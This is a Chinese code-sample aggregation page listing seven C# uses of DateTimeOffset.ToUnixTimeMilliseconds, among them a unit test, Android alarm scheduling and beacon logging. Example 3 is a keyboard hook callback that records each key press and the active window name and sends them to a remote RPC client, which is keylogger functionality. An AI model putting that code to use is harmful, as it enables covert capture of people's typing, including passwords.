本文整理汇总了C#中DateTimeOffset.ToUnixTimeMilliseconds方法的典型用法代码示例。如果您正苦于以下问题:C# DateTimeOffset.ToUnixTimeMilliseconds方法的具体用法?C# DateTimeOffset.ToUnixTimeMilliseconds怎么用?C# DateTimeOffset.ToUnixTimeMilliseconds使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类DateTimeOffset
的用法示例。
在下文中一共展示了DateTimeOffset.ToUnixTimeMilliseconds方法的7个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C#代码示例。
示例1: ToUnixTimeInMilliseconds_DateTimeOffset_ShouldMatch
public void ToUnixTimeInMilliseconds_DateTimeOffset_ShouldMatch()
{
var offset = new DateTimeOffset(2016, 1, 8, 4, 11, 28, TimeSpan.FromHours(7));
var expected = offset.ToUnixTimeMilliseconds();
var actual = offset.ToUnixTimeInMilliseconds();
Assert.AreEqual(expected, actual);
}
示例2: ScheduleAlarm
/// <summary>
/// Schedules an alarm.
/// </summary>
/// <param name="alarm">The alarm to be scheduled.</param>
public void ScheduleAlarm (Alarm alarm)
{
var intent = new Intent (context, typeof (AlarmIntentService));
// intent.PutExtra (AlarmIntentService.ALARM_KEY, alarm);
// TODO - workaround https://github.com/googlesamples/android-DirectBoot/issues/4
intent.PutExtra ("id", alarm.Id);
intent.PutExtra ("year", alarm.Year);
intent.PutExtra ("month", alarm.Month);
intent.PutExtra ("day", alarm.Day);
intent.PutExtra ("hour", alarm.Hour);
intent.PutExtra ("minute", alarm.Minute);
var pendingIntent = PendingIntent.GetService (context, alarm.Id, intent, PendingIntentFlags.UpdateCurrent);
var triggerOffset = new DateTimeOffset (alarm.GetTriggerTime ());
var alarmClockInfo = new AlarmManager.AlarmClockInfo (triggerOffset.ToUnixTimeMilliseconds (), pendingIntent);
alarmManager.SetAlarmClock (alarmClockInfo, pendingIntent);
Log.Info (TAG, $"Alarm scheduled at {alarm.Hour}:{alarm.Minute} {alarm.Year}-{alarm.Month}-{alarm.Day}");
}
示例3: HookCallback
///<summary>
/// HookCallback function
///
/// Called each time a Hook Event is fired. If the type of event is a KeyPress append the keypress and metadata to a keypress log.
/// This function calls the next hook in the hook chain.
///</summary>
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if ((client != null) && (client.Channel.State != ChannelState.FatalFailure)){
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
// Create a KeyPress object and get keypress metadata.
KeyPress ks = new KeyPress();
DateTimeOffset x = new DateTimeOffset(DateTime.Now);
ks.Key = Marshal.ReadInt32(lParam);
ks.Timestamp = x.ToUnixTimeMilliseconds();
ks.ActiveProgram = GetActiveWindowName();
// Un-Comment these lines to write the KeyStrokes in the JSON human readable format. C# proto
// implementation lacks support for the Text encoding, the json encoding is the most human readable format.
//StreamWriter o = new StreamWriter(log+".json");
//o.WriteLine(ks.ToString());
//o.Close();
try {
client.PutKeyPressAsync(ks);
}
catch (RpcException e)
{
//Console.WriteLine("RPC Failed: " + e);
}
}
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
示例4: BeaconEventStateToString
public static string BeaconEventStateToString(string pid, BeaconEventType type, DateTimeOffset now)
{
return string.Format("{0},{1},{2}", pid, (int)type, now.ToUnixTimeMilliseconds());
}
示例5: DelayedActionToString
public static string DelayedActionToString(string action, DateTimeOffset dueTime, bool executed, string guid, string location)
{
return string.Format("{0},{1},{2},{3},{4}\n", guid, dueTime.ToUnixTimeMilliseconds(), executed, action, location);
}
示例6: ActionToString
internal static string ActionToString(string uuid, string beaconPid, DateTimeOffset timestamp, int beaconEventType, bool delivered, bool background, string location)
{
return string.Format("{0},{1},{2},{3},{4},{5},{6}\n", uuid, beaconPid, timestamp.ToUnixTimeMilliseconds(), beaconEventType, delivered, background, location);
}
示例7: StripMicroSeconds
private static DateTimeOffset StripMicroSeconds(DateTimeOffset t)
{
// We can't use DateTimeOffsets to compare since the resolution of a ulid is milliseconds, and DateTimeOffset
// has microseconds and more. So we drop that part by converting to UnixTimeMilliseconds and then back to
// a DateTimeOffset.
return DateTimeOffset.FromUnixTimeMilliseconds(t.ToUnixTimeMilliseconds());
}